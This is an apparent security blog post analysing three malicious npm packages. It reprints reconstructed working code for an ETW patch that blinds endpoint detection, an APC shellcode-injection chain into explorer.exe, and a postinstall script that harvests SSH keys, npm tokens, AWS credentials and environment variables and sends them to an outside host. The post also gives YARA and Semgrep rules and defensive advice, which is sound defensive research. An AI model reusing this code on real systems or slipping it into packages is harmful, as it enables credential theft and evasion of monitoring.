The npm registry publishes roughly 800,000 new package versions per month. Security teams scan a fraction of them. Attackers know this, and they've gotten good at slipping through — sometimes for weeks before anyone notices. Over the past several months I've been analyzing malicious packages pulled from npm, and three techniques keep surfacing: ETW patching to blind endpoint detection, APC injection for code execution, and systematic credential harvesting. This post walks through each one in detail, with the YARA rules I've written to detect them.

Disclaimer Code samples below are stripped and modified versions of real malicious packages. Package names and exfiltration endpoints have been redacted. Do not run these.

How These Packages Get Discovered

Most malicious npm packages fall into a few categories: typosquats of popular packages (lodahs for lodash, crossenv for cross-env), dependency confusion attacks targeting internal package names, and compromised maintainer accounts publishing backdoored versions of legitimate packages.

My analysis pipeline starts with automated scanning of new npm publishes using a combination of static analysis (OpenGrep/Semgrep rules targeting install-time script patterns) and behavioral sandboxing. Packages that trip rules get queued for manual review. The three packages in this post were flagged by rules watching for preinstall/postinstall hooks that make outbound network calls or read from ~/.ssh.

Technique 1: ETW Patching

Event Tracing for Windows (ETW) is the logging substrate that most EDR products depend on. When an EDR vendor wants to observe API calls like NtCreateProcess, VirtualAllocEx, or WriteProcessMemory, they register an ETW consumer and subscribe to the Microsoft-Windows-Threat-Intelligence provider. Blind that provider, and you blind the EDR.

The first package I analyzed shipped a native Node.js addon — a .node file compiled from C++ via node-gyp. The addon's sole purpose was to patch ntdll!EtwEventWrite in the current process, replacing the first bytes of the function with a ret 0 instruction. Any ETW events the Node process subsequently tried to emit would silently do nothing.

// Reconstructed from decompiled native addon
// Patches EtwEventWrite to return immediately
BOOL patch_etw() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll) return FALSE;

    FARPROC etw_write = GetProcAddress(ntdll, "EtwEventWrite");
    if (!etw_write) return FALSE;

    DWORD old_protect;
    // Make the page writable
    VirtualProtect(etw_write, 4, PAGE_EXECUTE_READWRITE, &old_protect);

    // Write: mov eax, 0; ret  (32-bit equivalent on 64-bit via WOW64 thunk)
    // On 64-bit: xor rax, rax; ret
    unsigned char patch[] = { 0x48, 0x31, 0xC0, 0xC3 };
    memcpy(etw_write, patch, sizeof(patch));

    VirtualProtect(etw_write, 4, old_protect, &old_protect);
    return TRUE;
}

From JavaScript, the package called the addon via the standard require('./build/Release/addon.node') path. The binding.gyp was obfuscated with a generic-looking build target name and the source was split across multiple files to avoid simple grep-based detections.

Why this matters Once ETW is patched, subsequent API calls from that process — including any shellcode execution — may not be logged by EDR. This is particularly dangerous in CI/CD pipelines where npm install runs in an elevated or broadly-scoped service account context.

Detection: ETW Patch YARA Rule

The patch sequence is distinctive. A YARA rule targeting the byte pattern alongside the EtwEventWrite string catches this variant and most derivatives I've seen:

rule npm_etw_patch_native_addon
{
    meta:
        description = "Detects ETW patching pattern in compiled Node.js native addons"
        author      = "hunter@cyberwillow"
        date        = "2026-03-15"
        reference   = "CyberWillow supply chain research"

    strings:
        $etw_func    = "EtwEventWrite" ascii wide
        $patch_xor   = { 48 31 C0 C3 }          // xor rax,rax; ret
        $patch_mov   = { B8 00 00 00 00 C3 }     // mov eax,0; ret
        $vprotect    = "VirtualProtect" ascii wide
        $get_proc    = "GetProcAddress" ascii wide

    condition:
        uint16(0) == 0x5A4D and        // PE header
        filesize < 500KB and
        $etw_func and
        ($patch_xor or $patch_mov) and
        $vprotect and $get_proc
}

Technique 2: APC Injection

The second package took a different approach to execution. Rather than running malicious code directly in the Node.js process, it injected a shellcode payload into a legitimate Windows process via Asynchronous Procedure Calls (APCs). The target was explorer.exe, chosen for its near-universal presence and low baseline alert rate.

The APC injection chain looks like this: the native addon opens a handle to the target process, allocates a RWX memory region, writes shellcode into it, then calls QueueUserAPC on one of the target's alertable threads. When that thread enters an alertable wait state — which explorer.exe threads do constantly — Windows dispatches the APC and executes the shellcode.

// Reconstructed APC injection chain from native addon
BOOL inject_via_apc(DWORD target_pid, unsigned char* shellcode, size_t sc_len) {
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
        FALSE, target_pid
    );
    if (!hProcess) return FALSE;

    // Allocate RWX page in target process
    LPVOID remote_buf = VirtualAllocEx(
        hProcess, NULL, sc_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // Write shellcode
    SIZE_T written;
    WriteProcessMemory(hProcess, remote_buf, shellcode, sc_len, &written);

    // Enumerate threads and queue APC on each alertable one
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };

    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == target_pid) {
                HANDLE hThread = OpenThread(
                    THREAD_SET_CONTEXT, FALSE, te.th32ThreadID
                );
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)remote_buf, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }

    CloseHandle(hSnapshot);
    CloseHandle(hProcess);
    return TRUE;
}

The shellcode payload itself was a staged loader — a small blob that fetched a second-stage payload over HTTPS and executed it in memory. The staging approach keeps the initial npm package small and the first stage payload appears as generic HTTPS traffic.

Detection: APC Injection YARA Rule

rule npm_apc_process_injection
{
    meta:
        description = "Detects APC injection pattern in Node.js native addons"
        author      = "hunter@cyberwillow"
        date        = "2026-03-15"

    strings:
        $queueapc    = "QueueUserAPC" ascii wide
        $valloc      = "VirtualAllocEx" ascii wide
        $writeprocmem = "WriteProcessMemory" ascii wide
        $openproc    = "OpenProcess" ascii wide
        $snapshot    = "CreateToolhelp32Snapshot" ascii wide
        // RWX allocation constant (0x40 = PAGE_EXECUTE_READWRITE)
        $rwx_const   = { 40 00 00 00 }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 2MB and
        $queueapc and
        $valloc and
        $writeprocmem and
        $openproc and
        $snapshot
}

Technique 3: Credential Harvesting and Exfiltration

The third package was the most immediately impactful. No native code, no process injection — just a postinstall script in pure JavaScript that systematically harvested credentials from the developer's machine and exfiltrated them over HTTPS within seconds of npm install completing.

What it harvested

The exfiltration script targeted six credential sources:

// Reconstructed exfiltration logic (obfuscated in original)
const os   = require('os');
const fs   = require('fs');
const path = require('path');
const http = require('https');

function harvest() {
    const home = os.homedir();
    const payload = {};

    // Environment
    payload.env = process.env;

    // SSH keys
    const sshDir = path.join(home, '.ssh');
    if (fs.existsSync(sshDir)) {
        payload.ssh = {};
        fs.readdirSync(sshDir).forEach(f => {
            if (!f.endsWith('.pub') && !f.endsWith('known_hosts')) {
                try {
                    payload.ssh[f] = fs.readFileSync(
                        path.join(sshDir, f), 'utf8'
                    );
                } catch (_) {}
            }
        });
    }

    // npm token
    const npmrc = path.join(home, '.npmrc');
    if (fs.existsSync(npmrc)) {
        payload.npmrc = fs.readFileSync(npmrc, 'utf8');
    }

    // AWS credentials
    const awsCreds = path.join(home, '.aws', 'credentials');
    if (fs.existsSync(awsCreds)) {
        payload.aws = fs.readFileSync(awsCreds, 'utf8');
    }

    exfiltrate(payload);
}

function exfiltrate(data) {
    const body = Buffer.from(JSON.stringify(data)).toString('base64');
    const req  = http.request({
        hostname : '[REDACTED].requestcatcher.com',
        path     : '/collect',
        method   : 'POST',
        headers  : { 'Content-Type': 'application/json' }
    });
    req.write(JSON.stringify({ d: body }));
    req.end();
}

harvest();

Obfuscation layers

The original script wasn't this readable. It used three layers of obfuscation: string splitting ('pro' + 'cess'), hex escape sequences for sensitive identifiers, and dynamic property access via computed keys. None of it defeats a determined analyst, but it's enough to pass automated scanners that do simple string matching.

The package also had a legitimate-looking primary export — a small utility function — so a developer scanning the API surface wouldn't see anything suspicious. The malicious code ran only during install, not during import.

Detection: Credential Harvesting YARA Rule

rule npm_credential_harvester_js
{
    meta:
        description = "Detects JavaScript credential harvesting patterns in npm packages"
        author      = "hunter@cyberwillow"
        date        = "2026-03-20"

    strings:
        // Credential source patterns
        $ssh_path    = ".ssh" ascii
        $npmrc       = ".npmrc" ascii
        $aws_creds   = ".aws/credentials" ascii nocase
        $proc_env    = "process.env" ascii

        // Exfiltration indicators
        $http_req    = "http.request" ascii
        $https_req   = "https.request" ascii
        $base64_enc  = "toString('base64')" ascii
        $json_str    = "JSON.stringify" ascii

        // Execution context (install-time)
        $postinstall = "postinstall" ascii
        $preinstall  = "preinstall" ascii

    condition:
        // Must match multiple credential sources AND exfil method
        (
            (#ssh_path > 0 or #npmrc > 0 or #aws_creds > 0) and
            $proc_env
        ) and
        ($http_req or $https_req) and
        ($base64_enc or $json_str)
}

Semgrep Rules for Static Analysis

YARA is great for binary and installed artifact scanning, but Semgrep works better during the CI/CD phase — scanning source before it's ever installed. Here's a rule I use to flag packages that read credential paths and make network calls in the same file:

# semgrep rule: npm-supply-chain-credential-read-and-exfil.yaml
rules:
  - id: npm-install-script-reads-credentials-and-exfils
    patterns:
      - pattern-either:
          - pattern: fs.readFileSync(path.join(os.homedir(), ".ssh", ...))
          - pattern: fs.readFileSync(path.join(os.homedir(), ".npmrc"))
          - pattern: fs.readFileSync(path.join(os.homedir(), ".aws", ...))
      - pattern-either:
          - pattern: https.request(...)
          - pattern: http.request(...)
          - pattern: fetch(...)
    message: >
      Package reads sensitive credential paths and makes outbound network
      calls. This pattern is characteristic of supply chain credential
      harvesting. Review this code carefully before installing.
    languages: [javascript]
    severity: ERROR
    metadata:
      category: security
      cwe: CWE-312

Conclusion

These three packages illustrate how supply chain attackers operate on a spectrum of sophistication — from a trivial postinstall credential dump to a multi-stage native addon that patches ETW before injecting shellcode. What they share is an exploitation of developer trust: developers run npm install the same way they open email attachments, because it's always been fine until it isn't.

A few things you can do right now: audit your package.json install scripts, enforce --ignore-scripts in CI pipelines where you don't need them, run npm installs in sandboxed environments without access to ~/.ssh and ~/.aws, and deploy YARA scanning against your artifact registry. None of these are perfect — a motivated attacker will find a way around them — but they raise the cost significantly.

The YARA and Semgrep rules above are available in my GitHub repository along with the full rule set I've built from this research.